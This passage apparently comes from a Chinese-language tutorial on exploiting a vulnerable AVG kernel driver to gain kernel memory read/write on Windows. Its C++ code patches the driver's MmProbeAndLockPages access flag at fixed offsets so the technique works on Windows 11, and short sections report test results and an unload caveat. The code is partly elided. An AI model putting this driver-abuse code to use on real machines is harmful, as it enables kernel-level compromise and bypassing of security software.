                Log(L"[-] Failed to get driver:" << driver_name << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
        uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }

        uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
        if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
        {
                Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
                avg_driver::Unload(device_handle);
                return false;
        }
        Log(L"[+] PatchDriver OK!\r\n");
        return true;
}

HANDLE avg_driver::Load() 
{
     ......
     ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
    if (ntoskrnlAddr == 0) {
        Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
    {
        Log(L"[-] Failed to Patch Driver" << std::endl);
        avg_driver::Unload(result);
        return INVALID_HANDLE_VALUE;
    }
    
    ......
}

 

6.运行效果

 

  • Win 10 x64 22H2

  

 

  • Win 11 x64 22621

  

 

7. 特别提示

  经过测试发现漏洞驱动加载后就不能卸载了,如果要实现多次加载需要修改相关逻辑,具体就不详述了。